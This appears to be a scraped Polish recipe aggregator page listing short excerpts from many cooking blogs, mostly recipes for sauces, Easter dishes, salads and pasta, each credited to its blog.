koniec. Po usmażeniu jagnięciny nie szorujcie od razu patelni. Wlejcie na nią marynatę (bez ziół), szklankę bulionu i cierpliwie redukujcie na małym ogniu, aż do uzyskania delikatnego sosu. Możecie na koniec wkręcić łyżeczkę masła. Buraczki, czy inne dodatki wedle uznania. Smacznego

Spektrum Smaku
Zapiekanka makaronowa z warzywami i mozzarellą 170

instrukcją na opakowaniu. Na patelni z olejem dusimy wszystkie warzywa. Pod koniec smażenia dodajemy przyprawy: kebab-gyros, przyprawa do kuchni włoskiej, pieprz i czosnek granulowany. Między czasie przygotowujemy sos. Do miseczki wlewamy jogurt, koncentrat pomidorowy, czosnek granulowany i suszony koperek. Wszystko dokładnie mieszamy. Na desce kroimy w kostkę mozzarellę. Jeśli wszystko jest już gotowe to w dużej misce łączymy wszystkie

Truskawkowa Fiesta
Przepis na wątróbkę drobiową 142

już tylko mieszamy i chwilę smażymy razem, by smaki i składniki połączyły się ze sobą. W tym momencie, możemy podlać wątróbkę wodą i chwilę smażyć, powstanie nam wtedy naturalnie sos. Wasza wątróbka jest gotowa :) Artykuł Przepis na wątróbkę drobiową pochodzi z serwisu NiePieprz

NiePieprz.pl
Biała kiełbasa pieczona 283

cebulą i czosnkiem – pyszna, miękka i aromatyczna. Idealna nie tylko na Wielkanocne śniadanie. W moim domu często pojawia się w ciągu roku, jako ciepłe śniadanie z dodatkiem sosu chrzanowego, z musztardą i kanapkami. Składniki na białe kiełbasy pieczone: 5 białych, parzonych kiełbas 2 spore cebule główka czosnku szklanka wody ( można użyć piwa ) słodka papryka czerwona, wędzona zioła prowansalskie Przygotowanie

NiePieprz.pl
Pieczeń z jajkiem + film 338

Pieczeń z jajkiem to smaczne i efektowne danie świąteczne idealne na wielkanocny stół. Można ją podać na gorąco do obiadu z ziemniakami i surówką, bądź na zimno z sosem chrzanowym jako przystawkę.  składniki na formę do babki lub keksówkę   5 jajek ugotowanych na twardo 1 kg mięsa mielonego wieprzowo- wołowego 2 mniejsze czerwone cebule 2 ząbki czosnku

Smakowite Dania
Galareta z tuńczykiem i jajkiem 184

sobie znacznie szybciej. Jest smacznie, zdrowo i kolorowo. Polecam   GALARETA z TUŃCZYKIEM i JAJKAMI Składniki: 2 szklanki bulionu warzywnego 2 łyżki żelatyny 4 jajka 1 puszka tuńczyka w sosie własnym 1/2 brokuła sól i pieprz do smaku Przygotowanie: Jajka gotujemy na twardo, a potem obieramy i kroimy na połówki. Brokuły dzielimy na mniejsze różyczki, gotujemy aż zmiękną.  Tuńczyka

Bon appetit mon amie
śledzie po kaszubsku 195

zawartość. Filety śledziowe wyjmujemy z octowej marynaty i płuczemy. Opłukane śledziowe filety, kroimy w trzy centymetrowe kawałki i wkładamy  do misy ( lub  słoja) do której dodajemy przestudzony sos z cebuli, koncentratu i rodzynek. Całość mieszamy  odstawiamy  na dzień w chłodne miejsce, aby smaki mogły się połączyć i gotowe

Miód i pieprz
Fit sernik na daktylowo-kokosowym cieście :) 155

róż :D) zawiera 250 g produktu. Zaleca się stosowanie 1 łyżki białka od 1 do 2 razy dziennie.  Białkofit posiada wszechstronne zastosowanie. Można dodawać go do koktajli, omletów, sosów, zup, wypieków, w tym także serników :)  W 100 g znajdują się: kcal: 408 tłuszcz: 7,3 g węglowodany: 10 g białko: 75 g Białkofit oraz różnorodną ofertę zdrowej żywności

Zdrowie na języku :P
Carbonara 237

Makaron w aksamitnym serowo-jajecznym sosie. Składniki 30 dkg makaronu 10 dkg szynki parmeńskiej lub boczku 1 cebula 3 ząbki czosnku 100 ml śmietany 12% 3 jajka 10 dkg żółtego sera … Czytaj dalej Carbonara

czarrna od kuchni
Sałatka ze szpinaku i buraka 185

surowy. Podstawa np. takiej szybkiej sałatki. Jedzmy szpinak na zdrowie! :) Składniki: - świeży szpinak (ilość wedle uznania, u mnie pół paczki) - 1 duży parowany burak  - garść posiekanych orzechów nerkowca sos: - 2 łyżki oleju - 1 łyżka syropu z agawy - 1 łyżka soku z cytryny - sól do smaku

Smakuje zdrowo
Gulasz wieprzowy z pieczarkami 200

zazłocenia. Przekładamy do garnka, dodajemy obraną startą marchewkę, cebulę pokrojoną w piórka lub większą kostkę, czosnek przeciśnięty przez praskę, dodajemy przyprawy i gotujemy do miękkości. Na koniec zaciągamy sos mąką ze śmietaną, mlekiem lub wodą. Możemy posypać świeżymi ziołami. Smacznego

Pelusiowa Kuchnia
Szarpana wieprzowina po meksykańsku, czyli carnitas 198

drobne paski, pomidora w kostkę, a cebulę w piórka. Placki tortilli podgrzewamy na suchej patelni, układamy na nich kolejno: sałatę, pomidory, cebulę i mięso. Wszystko polewamy sosem jogurtowym i zwijamy. Piekarnik mam już od ponad dwóch miesięcy i już dziś wiem, że była to słuszna decyzja. Piekłam już w nim chleby, różne rodzaje

Kulinarne przygody Gatity
Sałata lodowa na słodko 200

łyżeczka czarnego pieprzu. Szczypta soli. Sposób przygotowania: Sałatę umyć, osuszyć, porwać na kawałki. W miseczce wymieszać ze sobą śmietanę, cukier puder, ocet, pieprz i sól. Tak przygotowanym sosem oblać sałatę i dokładnie wymieszać. Podawać bezpośrednio po przygotowaniu. SMACZNEGO! Uwagi do przepisu: Smak surówki można urozmaicić dodając obranego, pokrojonego w plasterki ogórka wężowego. Śmietanę można zastąpić gęstym jogurtem naturalnym lub jogurtem

Gospodyni Miejska
sałatka z krabimi paluszkami i makaronem 197

drugiej misce mieszamy jogurt, sok z cytryny oraz majonez, całość posypujemy posiekanym szczypiorem i natką pietruszki, przyprawiamy solą oraz pieprzem, znów mieszamy i odstawiamy na dwie minuty. Teraz dodajemy sos do reszty składników, mieszamy i gotowe

Miód i pieprz
Makaron orzo ze szpinakiem, kurczakiem i serem grana padano w sosie śmietanowym 228

Cześć ! Znów jestem chora. Ciągle zmieniająca pogoda w końcu mnie wykończy. Pocieszam się obłędnym makaronem orzo ze szpinakiem, kurczakiem i serem grana padano w sosie śmietanowym z tymiankiem. Danie robi się dosłownie chwilę i jest jedynym, na co mam ochotę podczas choroby. Polecam ! Składniki (2 porcje): 1/2 szklanki makaronu orzo 1 pierś z kurczaka (około

Moja pasja smaku
Jak zrobić różowe jajka wielkanocne? 237

Jajka wyjmujemy, osuszamy ręcznikiem papierowym i przekrawamy na pół. Ja wykorzystałam karbowany nóż, dzięki czemu powierzchnia przekrojonych jajek jest delikatnie karbowana. Dekorujemy wedle uznania, ja podałam różowe jajka z sosem tatarskim i z rzeżuchą. Smacznego! The post Jak zrobić różowe jajka wielkanocne? appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Potrawka orientalna z gotowanym mięsem 266

sposób na wykorzystanie mięsa z rosołu Składniki ugotowane udka z kurczaka 2 szt pieczarki 3-4 szt papryka czerwona 1/2 szt cebula dymka 2 szt bambus pędy 1/2 słoika sos … Czytaj dalej Potrawka orientalna z gotowanym mięsem

czarrna od kuchni
Serowy makaron z pieczarkami 136

gorgonzola  * świeżo mielony czarny pieprz * koperek Przygotowanie : Makaron ugotować al dente. Rozpuścić masło, dodać pokrojone pieczarki i przyprawić pieprzem. Poddusić, dodać ser i poczekać aż się rozpuści. Wymieszać sos z makaronem, posypać koperkiem

Magiczne Życie Marty
Kulinarny Rzym 208

Nieprzesadzone przepisy, dania, w których postawiono przede wszystkim na wyśmienite produkty i świeżość. Lekka kuchnia, pełna magii... Wypróbujcie sami koniecznie! Tiramisu... Wspaniała włoska kawa... Klimatyczne kawiarnie... Znakomita szarlotka z sosem waniliowym... Tiramisu... Fettuccine... Cukinia Cytryna Karczochy Znajdźcie chwilkę w swoim życiu i wyruszcie do Rzymu... Polecam z całego serca

Kuchnia Pani Wiosny
Keks wytrawny z żółtym serem, salami i oliwkami Calamata Jumbo 224

stopniach. (Piekąc w większej formie - odrobinę dłużej, babeczki - 25-30 minut.) Po upieczeniu odczekać kilka minut, aby lepiej się kroił. Można podawać w wersji solo lub z ulubionym sosem

Di gotuje
Makaron z kurczakiem, cukinią i oliwkami 176

wychodzą bardzo smaczne. Poza tradycyjnymi potrawami makaronowymi lubię eksperymentować ze smakami, a dzisiejsze danie to przykład na to, że można zjeść pyszne danie z makaronem, które nie jest z sosem czy z serem, za to bogate w warzywa i delikatne mięso z piersi kurczaka. Czosnek, cukinia i oliwki to doskonałe trio, które sprawdzi się w takich daniach. Makaron z kurczakiem

Moja smaczna kuchnia
Kurczak z ryżem? Niekoniecznie. 179

Kiedyś w sosie słodko-kwaśnym, kojarzony tylko z kuchnią azjatycką. Dziś lekka kpina z osób, które spędzają godziny na siłowni, a w ciągu dnia jedzą tylko kurczaka z ryżem i brokułami (warzywa muszą być :P). Zatem kurczak z ryżem, słynny lub oklepany, ale smaczny. U mnie w roli kurczaka = indyk. Wybieram indyka, bo ma mniej kalorii (mniej tłuszczu), a więcej

Kucharzyca
Rozmarynowy kurczak na kominie – pieczony w formie do babki 188

cebulką uduszonymi pod mięsem. Cieniutka i wypieczona skórka, soczyste mięso, śródziemnomorski zdecydowany smak. Cytrusy w połączeniu z czosnkiem i rozmarynem to naprawdę świetny zestaw smaków do kurczaka. A sos z dna foremki idealnie można wyjeść do końca pomagając sobie świeżą bagietką. SKŁADNIKI 1 kurczak zagrodowy, waga około 1,5kg 600g malutkich ziemniaków sałatkowych /lub tyle samo drobnych ziemniaków, przeciętych

Karo in the Kitchen
Jajka przepiórcze marynowane w burakach 152

przez kwadrans w zimnej wodzie i obierz ze skorupek. Włóż do słoika, zalej zimną marynatą i wstaw na jedną dobę do lodówki. Wyjmij, odcedź i podawaj z majonezem lub sosem chrzanowym. Po marynowaniu możesz je przechowywać przez 3 dni w lodówce

Food Square
Ciasto jogurtowe z czerwonymi pomarańczami 183

włóż do niebo plastry z 2 pomarańczy (pozostałe zostaw do ozdoby). Karmel się spieni, więc uważaj. Przy pomocy drewnianej łyżki rozgnieć nieco pomarańcze i wymieszaj z karmelem. Tak uzyskanym sosem polej wierzch ciasta. Na koniec udekoruj plastrami pomarańczy. *** Jeżeli spodobał Ci się ten wpis, pozostańmy w kontakcie. Możesz śledzić moją stronę na  Facebooku  lub  Google + , aby być

Chilli Czosnek i Oliwa
Warzywne samosy z pieca 447

Sklejamy dwa krótsze boki tak by powstał rożek. Napełniamy go farszem i sklejamy. Rożki układamy na blasze wyłożonej papierem. Pieczemy ok 12 minut w 180 st.C. Podajemy z ulubionym sosem. Ja wymieszałam jogurt z listkami kolendry , garam masalą, kurkumą i solą

Dzieje kuchennej Wiewióry
Grillowanie i wędzenie z jajem! Wędzone lub grillowane jaja na Wielkanoc 223

dymem aż będą pięknie pachnące i opalone (około 1 godz. ). Przepis na wędzone jajka. Składniki: 6 jajek ¼ szklanki majonezu 1 łyżeczka musztardy Dijon ½ łyżeczki tartego chrzanu 1 łyżka ulubionego sosu BBQ ½ łyżeczki chili sól i pieprz do smaku Przygotowanie: Jajka ugotować na twardo, obrać i ostudzić. Umieścić jajka bezpośrednio na ruszcie wędzarni Bradley Smoker rozgrzanej do 110 stopni i wędzić

naRuszcie
IGUANA BITS – FALLOUT – szaszłyki z kurczaka w marynacie z coli 347

tłuszczu PRZYGOTOWANIE 1. MARYNATA (5 + 20 min) Do rondelka wsypujemy czubatą łyżkę cukru i podgrzewamy na średnim ogniu, aż się lekko skarmelizuje (powinien być jasno brązowy). Następnie dodajemy colę, sos sojowy, ketchup, przeciśnięty przez praskę czosnek i łyżeczkę soli. Gotujemy marynatę na średnim ogniu przez około 20 minut, aż większość płynu wyparuje (co najmniej do 1/3 początkowej objętości

Nerds Kitchen
Zielono mi czyli szpinakowe pappardelle z sosem z awokado, roszponką i jajkiem. 240

pół, wyciągamy pestkę oraz miąższ. Awokado po wyjęciu skropimy cytryną, aby nie ściemniało, doprawiamy solą, świeżo zmielonym pieprzem, drobno posiekanym czosnkiem. Całość miksujemy.  Gotowy makaron łączymy z sosem, roszponką oraz jajkiem. Całość doprawiamy pieprzem oraz skraplamy sokiem z cytryny. Posypujemy startym parmezanem. Gotowe.  Proste smaczne danie, mnóstwo energii, witamin. A jakie są Wasze sposoby na przywołanie wiosny ? Uściski

Basia w kuchni
Pulpety jaglane z grzybami 202

wymieszać ręką. Formować pulpety. W dużym rondlu  rozgrzać oliwę, zeszklić cebulę i czosnek, wlać passatę, pomidory pelati (pomidory rozgniatam tłuczkiem do ziemniaków). Duszę kilka minut. Włożyć do sosu pulpeciki i dusić po kilka minut obracając na druga stronę po 5 minutach. Można posypać serem np. parmezanem i lekko zapiec w piekarniku pod górną grzałką. Posypać obficie natką

AZgotuj!
Jajka z anchois i kaparkami 174

menu. Dla odmiany przygotowałam go bez majonezu, to będzie taka przeciwwaga do innych przepisów na  faszerowane  jajka, gdzie z reguły  zawsze znajduje się łyżka tego sosu. Jajka  z anchois i kaparami Czas przygotowania:  15 minut Składniki: 4 jajka ugotowane na twardo 16 filecików anchois 16 kaparków sól pieprz roszponka do przybrania Wykonanie: Jajka obieramy

Kulinarne przygody Gatity
Sałatka z pstrągiem, grejpfrutem i suszonymi śliwkami 154

zdrowe jedzenie. Będziemy zachwycali się kolorami i soczystością ogólnodostępnych zieleninek i owoców. Dodatek śliwki, pstrąga oraz grejpfruta sprawi, że sałatka będzie wykwintna i niezwykła. Składniki filety z pstrąga w sosie chrzanowym mix sałat z przewagą rukoli grejpfrut oliwki szpinak suszone śliwki  Symbio czarny sezam Szpinak opłucz, wysusz i wmieszaj w mix sałat. Wyłóż na talerz, dodaj pstrąga i wyfiletowanego

Z Kuchni Do Kuchni
Sałatka owocowa z miodem i chrupkami ryżowymi 302

nasienne, z kiwi twarde końcówki. Wszystko pokrój w małą kostkę. Cząstki mandarynki pokrój na mniejsze kawałki. Pokrojone owoce wrzucaj do dużej miski. Dodaj rodzynki, pestki słonecznika i dyni. Polej sosem i dobrze wymieszaj. Rozdziel sałatkę do miseczek. Na każdą porcję pokrusz pół chrupka ryżowego. Gotowe! Smacznego

Anioszek w kuchni
Jajka faszerowane tuńczykiem 195

tuńczykiem, są smaczne, często podaję je na śniadanie Wielkanocne. Możemy je również podać na kolację lub na inne uroczystości. Składniki: 8 jajek ugotowanych na twardo 1 puszka tuńczyka w sosie własnym 3 łyżki majonezu Sól, pieprz Pół pęczka szczypiorku Sposób przygotowania: Ostudzone jajka obieramy, kroimy na pół. Żółtka wyjmujemy, przekładamy do miski, rozgniatamy widelcem, szczypiorek drobno siekamy, tuńczyka odsączamy

Bajeczna Kuchnia
Szynka z sosem tatarskim, gotowa w jeden dzień 224

Zwykle szynki peklujemy przez kilka dni. dzisiaj chcę Wam podać przepis na szynkę, którą nie trzeba peklować i jest również pyszna. Super szynka z sosem tatarskim, chrzanowym oraz na kanapki. Polecam. Jeśli kupicie mniejszą szynkę to zmniejszyć czas gotowania i pieczenia oraz składniki. Szynkę umyć, u góry tam gdzie jest skóra naciąć tworząc szachownicę. Włożyć szynkę do dużego garnka, zalać

Kuchnia Pokoleń
Sokowirówka, czy warto? 190

stoi na blacie, bo używam jej codziennie i często części suszą się  na suszarce, a korpus stoi gdzieś z boku. Pulpę tez można wykorzystać przy pieczeniu ciast, przygotowywaniu sosu warzywnego, a jeśli przez sokowirówkę przeciśniemy surowe ziemniaki, to ta pulpa jest idealna do przygotowania placków ziemniaczanych, to taka ciekawostka ;) Morał z tego tekstu taki, że jestem zadowolona zarówno

Blondynka Gotuje
Makaron jednogarnkowy 228

makaron, bazylię, pomidora, czosnek i zalewasz wszystko 150ml wody. Mieszasz i czekasz aż woda się zagotuje. Gdy woda się zagotuje zmniejszasz ogień i gotujesz około 10- 15 minut, aż sos zgęstnieje. Na sam koniec dodajesz ser oraz oliwę z oliwek i mieszasz wszystko razem w garnku. Przekładasz na talerz i podajesz od razu. Kaloryczność: Kaloryczność całego dania to 385 kalorii

Moja Micha
CIASTA WIELKANOCNE 251

grzyba bądź czapki kucharskiej. Zawsze jest mocno nasączona likierem na bazie cytryn lub ponczem. jeśli jest to baba duża z dziurą w środku napełnia ja ja kremem i polewa sosem z owocami. Zdaniem Włochów to klasyczny przysmak neapolitański, symbol miasta.  Dawne baby zastąpiły dziś znacznie skromniejsze babki. Również i znacznie zdrowsze, ponieważ nasi przodkowie nie żałowali żółtek ("weź

Ciastka - domowe słodkości
Piersi indyka z szynką czyli Sonkás pulykamell 206

Gotowe piersi kroimy ostrym nożem na plastry, prostopadle do wykonanych nacięć w mięsie. P iersi indyka z szynką czyli Sonkás pulykamell podałam jako danie obiadowe z zielonymi kluskami śląskimi, sosem pieczarkowym i surówką ze szpinaku. Gorąco polecam i życzę smacznego. Wydrukuj przepis The post Piersi indyka z szynką czyli Sonkás pulykamell appeared first on Moje Wypieki I Nie Tylko

mojewypiekiinietylko
Podkarpackie gołąbki z kaszą gryczaną i ziemniakami 226

pełnią w tym daniu rolę spoiwa i praktycznie nie są wyczuwalne w gotowych gołąbkach. Jeśli macie ochotę na urozmaicenie swoich obiadów, gołąbki z kaszą gryczaną i ziemniakami podane z sosem z suszonych grzybów będą dobrym wyborem :) Składniki na około 10 sztuk: 1 średnia biała kapusta 200 g prażonej kaszy gryczanej (w woreczkach) 5 średnich ziemniaków 2 cebule 4 łyżki masła

Trzeci talerz
salatka z jablka i liscie rzodkiewki 139

obrane jabłko pokroić w kostkę. Oliwę ,sól ,pieprz,oraz  kolendrę , łyżką miodu i ocet balsamiczny,połączyć w misce i dokładnie wymieszać do połączenia składników.Do tak przygotowanego sosu dodać pokrojone jabłko. Pycha!  Polecam

w mojej kuchni
Caprese z wędzoną szynką na cieście francuskim (zapiekanka) 222

dorowa (2 łyżki) łyżeczka suszonej bazylii świeża bazylia             Przygotowanie:   Ciasto francuskie rozkła damy na wyłożonej papierem do pieczenia blaszce. Zawijamy boki, aby sos nie wyciekł. Passatę łączymy z solą, pieprzem i 1/2 łyżeczki bazylii. Smarujemy ciasto francuskie. Na całej powierzchni wykła damy szynkę i przykrywamy ją na przemian ukła danymi pomi dorami

ChilliJemy
Sałatka z komosy ryżowej (quinoa) z warzywami. 172

smaku. Według upodobań. Najlepiej oliwą z oliwek i świeżo wyciśniętym sokiem z cytryny. Smacznego. Pozdrawiam serdecznie Beata Porcja inspiracji kulinarnych z mojego INSTAGRAMU   filet z piersi kurczaka w sosie musztardowym z grzybami i szparagami #healthy #healthyfood #followall #foodphotography #food #foodporn #fit #fitness #instafood #instafollow #crochet #salad #spring #cuisinesaine #cuisine #instafood #instafollow #throwbackthursday #throwbackthursday #like4like #instagood #yummi Une photo publiée

MODA NA BIO
Biała kiełbasa pieczona z warzywami 229

też w inny sposób. Przykładem jest to pyszne i zarazem proste w przygotowaniu danie. Biała kiełbasa w towarzystwie pieczonych warzyw świetnie się prezentuje i doskonale smakuje. Do tego koniecznie sos chrzanowy . składniki: 5-6 białych surowych kiełbasek 6-7 średnich siemniaków 2 cebule 3-4 średnie marchewki tymianek zioła włoskie olej do skropienia Wszystkie warzywa obrać. Ziemniaki pokroić w grubsze

Monia miesza i gotuje
Kluski kładzione 471

Kluski kładzione są świetnym dodatkiem do zupy pomidorowej, a z sosem czy podsmażoną cebulą mogą stanowić odrębne danie. Przygotowanie ich nie zajmuje wiele czasu. SKŁADNIKI 40 dag mąki pszennej 1 jajo 1 szklanka mleka 1 łyżeczka soli SPOSÓB PRZYGOTOWANIA Do miski wsypać mąkę, dodać jajo, mleko i sól. Czytaj więcej

Przepisy Kulinarne
Śledzie w sosie musztardowo - śmietanowym po szwedzku 196

JOGO" . Jak zrobić creme fraiche w domu też Wam napiszę, jeśli nie macie dostępu do tej sklepowej. Śledzie są aromatyczne, jędrne i smakują wybornie, polecam. Śledzie w sosie musztardowo - śmietanowym po szwedzku. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z pieczoną karkówką 212

Dodajemy karkówkę oraz odcedzone z zalewy oliwnej pestki dyni. Doprawiamy solą i pieprzem. Jogurt naturalny łączymy z przeciśniętym przez praskę czosnkiem. Doprawiamy solą i pieprzem i łączymy z sałatką. Sos możemy także podać w osobnym naczyniu i polać sałatkę po wierzchu tuż przed podaniem

Kuchnia w czekoladzie
Recenzja zupowaru Russell Hobbs 219

2.Przygotowanie zupy gładkiej, podobnie jak w poprzedniej opcji, jednak tutaj uzyskamy gładszą zupę. Czas pracy 25 minut. Np: moja propozycja na zupę pieczarkową z grzankami 3.Przygotowanie sosu , tryb, który grzeje i miesza składniki przez godzinę 4.Gotowanie na parze (warzywa, jajka) 5.Przygotowywanie koktajli , smoothie   6. Kruszenie lodu , czas pracy 1 minuta

Marta Gotuje
Biała kiełbasa pieczona w cebuli i piwie 183

Kiełbaski smarujemy musztardą, oprószamy paprykami i majerankiem.  Podlewamy piwem.  Wstawiamy do nagrzanego do 180 stopni piekarnika na około 50 minut, co pewien czas podlewając uzyskanym podczas pieczenia sosem.  Smacznego

Kulinarny Świat Konczi i Szpileczki
Szołdry abo murziny (Wielkanocne mięsiwa zapiekane w drożdżowym cieście na śląską modłę) 253

boczku wędzonego 9 kiełbasy 10 dajcie 11 pachniały 12 później 13 z powrotem 14 do środka 15 gdzie 16 pół 17 roztrzepanym 18 uważajcie 19 przypaliły 20 naprawdę 21 sos

Chop w kuchni
Jajka faszerowane pomidorami, papryką i bazylią 448

grzyby po deszczu. Abyście mieli jakąś alternatywę wymyśliłam dla Was coś jeszcze. Tym razem jest to przepis na jajka faszerowane pomidorem malinowym, serem mozzarella, papryką mini, świeżą bazylią i sosem majonezowym. Jajka są przepyszne i mi osobiście bardzo smakują. Myślę, że pojawią się na moim Wielkanocnym stole w tym roku! :) Składniki: 4 jajka ugotowane na twardo (gotujemy około 6 minut

Mango Papaja
smazona brukselka w sosie pomidorowym 145

Składniki 400 g brukselki 1 cebula 300 ml sosu pomidorowego 2 -3ząbki czosnku zmiażdżone 1 łyżeczka. curry w proszku 1/2 suszony liść laurowy zioła prowansalskie do smaku sól i pieprz oliwa z oliwek Wykonanie Brukselkę umyć ,usunąć wszystkie uszkodzone liście . Jeśli brukselka jest dość duża, pokroić na pół. Gotową czystą brukselkę zblanszować   (Zagotować wodę z solą i odrobiną

w mojej kuchni
Bezglutenowa pizza na spodzie z kalafiora z warzywami, mozzarellą i dojrzewającą szynką / KONKURS!!!! 195

mielonych migdałów, 50 g parmezanu, 30 g cheddaru, 5 sztuk jajek, rozmiar M, 2 ząbki czosnku, oregano, sól, pieprz dodatkowo: rukola, dojrzewająca szynka, mozzarella, pomidorki koktajlowe, pieczarki, cukinia, sos pomidorowy/passata/ ketchup Kalafiora podzielić na małe różyczki, umyć i osuszyć! Tak przygotowanego kalafiora zetrzeć na tarce na małych oczkach, a następnie dodać starte sery, mielone migdały, przyprawy oraz roztrzepane jajka. Powstałą

Plate of Joy
Kotlety z brokuła 217

kalafiora  i bardzo nam smakowały więc postanowiłam zrobić też z brokuła. Takie kotleciki są bardzo smaczne i razem z dodatkami stanowią pyszny obiadek. Swoje kotleciki podałam z sosem koperkowym i surówką z kapusty i marchewki z koperkiem . składniki: 2 średnie brokuły 2 jajka sól,pieprz bułka tarta olej do smażenia Brokuły podzielić na różyczki i ugotować na miękko

Monia miesza i gotuje
Ciastka jajka wielkanocne 3033

rondelku podgrzewamy wymieszany soku z cytryny z cukrem i żółtkami. Cały czas mieszamy na małym ogniu. Dodajemy masło i mieszamy do rozpuszczenia. Ściągamy z ognia w momencie, gdy sos zgęstnieje. Odstawiamy do ostudzenia. Ciasteczka przekładamy kremem i przykrywamy ciasteczkiem z dziurką (obsypanym cukrem pudrem). Przepis znalazłam tutaj

Aga w kuchni
Tortille z kurczakiem i warzywami chińskimi w formie wrapa. 524

podgrzanej patelni lekko podsmażamy tortille z obydwu stron. Każdy placek  zwijamy w rożek, układamy liść salaty lodowej, następnie warzywa z patelni i kurczaka. Dekorujemy pomidorkami. Polewamy remuladą lub sosem czosnkowym. Smacznego

Sama słodycz i szczypta chili
Curry z kalafiorem romanesco i szpinakiem 188

cynamon, kolendrę, kurkumę, kumin i chili, smaż przez minutę, nie przerywając mieszania. Następnie dodaj zblendowane pomidory. Całość gotuj około 5 minut. Dodaj mleko kokosowe, gotuj około 10 minut – aż sos zacznie gęstnieć. Dopraw solą, pieprzem i w razie potrzeby – pozostałymi przyprawami. Około 10 – 15 minut przed końcem gotowania – dodaj kalafiora. 5 minut przed końcem gotowania Dodaj szpinak

Moja pasja smaku
Makaron z warzywami na szybko 214

oliwę i podsmażamy przez 5-7 minut warzywa. Dodajemy przyprawy, zalewamy pomidorami z puszki i dusimy przez kolejne 5 minut. Jeśli zachodzi taka potrzeba - ponownie doprawiamy do smaku. Gdy sos się zagotuje, można polać nim makaron i delektować się wegetariańskim szybkim obiadem

W poszukiwaniu inspiracji
Gulasz pieczony. Pieczone mięso a'la gulasz z piekarnika. 211

pieczenia się kurczy. Podana porcja u mnie wystarczyła na dwa dni obiadów dla trzech osób. W pierwszy dzień podałam upieczone mięso z pieczywem, na drugi dzień do mięsa dorobiłam sosu i zjedliśmy w towarzystwie kaszy gryczanej. Polecam :) Składniki - 0.70 dkg łopatki wieprzowej - 0.40 dkg boczku wędzonego-parzonego - 0.40 dkg pieczarek - 2 kolorowe papryki - 2 cebule - sól, pieprz, czosnek mielony, papryka

Kuchnia z widokiem na ogród
Zielone kluski śląskie 231

woda się zagotuje wrzucamy kluski. Gotujemy 3-4 minuty od chwili wypłynięcia klusek na powierzchnię. Zielone kluski śląskie, tak jak tradycyjne podajemy jako dodatek do pieczonych dań mięsnych z sosem (na Górnym Śląsku zwłaszcza z roladami) lub przyrządzanej na rozmaite sposoby kapusty. Występują także jako danie podstawowe, okraszone stopioną słoniną. Zielone kluski śląskie – czyż nie są urocze? Gorąco polecam

mojewypiekiinietylko
Gołąbki w sosie pomidorowym 186

Pyszne, sycące i mocno aromatyczne gołąbki polane sosem pomidorowym. Zrobione według przepisu mojej mamy smakują mi najlepiej. SKŁADNIKI główka białej kapusty 1 kg karkówki 3 torebki ryżu po 100 g 2 łyżki smalcu ze skwarkami jajo sól, pieprz Czytaj więcej

Przepisy Kulinarne
Jajka faszerowane tuńczykiem z dodatkiem ogórka konserwowego 220

dodatkiem kawioru. Dzisiaj proponuję jajka z tuńczykiem nie tylko na święta ale również na zwykły dzień. Składniki: Dowolna ilość jajek ugotowanych na twardo Tuńczyk z puszki w sosie własnym Ogórki konserwowe ( 2 na 8 jajek ) Natka pietruszki ( kilka gałązek ) Musztarda Majonez Sól Pieprz Wykonanie: Jajka przecinamy na połowę wzdłuż i  wyjmujemy żółtka. Do żółtek dodajemy odsączonego tuńczyka z puszki

Smaki Ewy
Wiosenna sałatka z kaparami, polędwicą i camembertem. 190

paseczki lub kostkę polędwicę,ser camembert, paprykę i ogórka.Pomidorki przecinamy na pół. Wszystko ze sobą mieszamy. Przyprawiamy do smaku solą i pieprzem, przed podaniem polewamy remulada, lub dowolnym sosem majonezowym.     Smacznego

Sama słodycz i szczypta chili
Rolada ze szpinakiem 227

roladę. Owijamy szczelnie folią aluminiową. Wkładamy do piekarnika nagrzanego do 180 stopni C. Pieczemy przez ok. 2 h. Wyciągamy i kroimy w plastry. Danie najlepiej smakuje podane z sosem np. chrzanowym. źródło: przepis własny Ilość porcji: 6 Czas przygotowania: 2,45 h Koszt przygotowania

Pobite gary Barbary
Placki po zbójnicku 188

zalać ok 0,75ml wody, dodać pozostałe przyprawy i dusić do miękkości. Mąkę wymieszać z 1/3 szkl wody i stopniowo mieszając wlewać do gulaszu, tyle aby uzyskać pożądaną gęstość sosu. Placki ziemniaczane: Obrane ziemniaki i cebulę zetrzeć na tarce na małych oczkach. Dodać jajko, mąkę i przyprawy wg uznania. Wymieszać. Smażyć duże placki na wielkość patelni lub trochę mniejsze

Smakołyki Asi
Tarta ze szpinakiem i jajkiem 165

Macie już pomysł na śniadanie wielkanocne? My już tak, zrobimy taką szpinakową tartę, podamy ją na zimno. Do tego opcjonalnie, według upodobań, sos czosnkowy. Pychota. A jak nie zjecie w święta, to zamroźcie

Szybko Tanio Smacznie
Szynka wędzona parzona,bardzo prosta w wykonaniu 197

Gotować szynkę 1 godzinę na każdy kilogram mięsa. Następnie wyjąć z wody, zawinąć w folię aluminiową i wstawić do lodówki. Idealna na chleb do kanapek lub na zimno z sosem tatarskim, czosnkowym itp. Szynka super

Kuchnia Pokoleń
Orientalna surówka marchewkowa z wasabi 202

surówka jest świetna jako dodatek do obiadowych dań kuchni chińskiej i japońskiej. Ostra w smaku, wyrazista, pyszna. Dodatek prażonego sezamu nadaje jej orzechowy posmak. 4 duże marchewki 3 łyżeczki sosu chrzanowego wasabi 2 łyżki sezamu, u mnie od Przyprawy Świata Gdynia sól 1. Marchew obieramy i ścieramy na najmniejszych oczkach tarki. 2. Sezam podprażamy na suchej patelni do momentu

Szefowa kuchni
Odkrywamy sekrety dyni 214

przygotowania i delikatna w smaku. Dzięki jej strukturze, dynia nadaje się nie tylko jako danie główne – dyniowe nitki można potraktować jak makaron i podać je z warzywami i ulubionym sosem.   Prowansalska dynia muszkatołowa  Jej miąższ jest delikatny, aromatyczny, o lekko muszkatołowym smaku (pachnie bardzo owocowo, melonowo). Jest pięknie żebrowana, zielona w początkowym stadium, później przechodząca w beż / brąz

Smiling Shrimp
Dyniowych szaleństw ciąg dalszy, czyli kurczak w sosie dyniowo-jabłkowym 220

Szkoda by zmarnować taki podarunek, dlatego nie próżnuje i wciąż tworze nowe, dyniowe przepisy. Dzisiaj poniosła mnie trochę wodza fantazji i takim oto sposobem powstał nieziemski kurczak duszony w sosie dyniowo-jabłkowym z dodatkiem majeranku i imbiru. Danie to jest bardzo zdrowe, a zarazem idealne jako pełnowartościowy, jesienny obiad. Możecie z resztą sami sprawdzić, gdyż poniżej zamieściłam dokładne wartości odżywcze

Smiling Shrimp
Cukinia w cieście piwnym 147
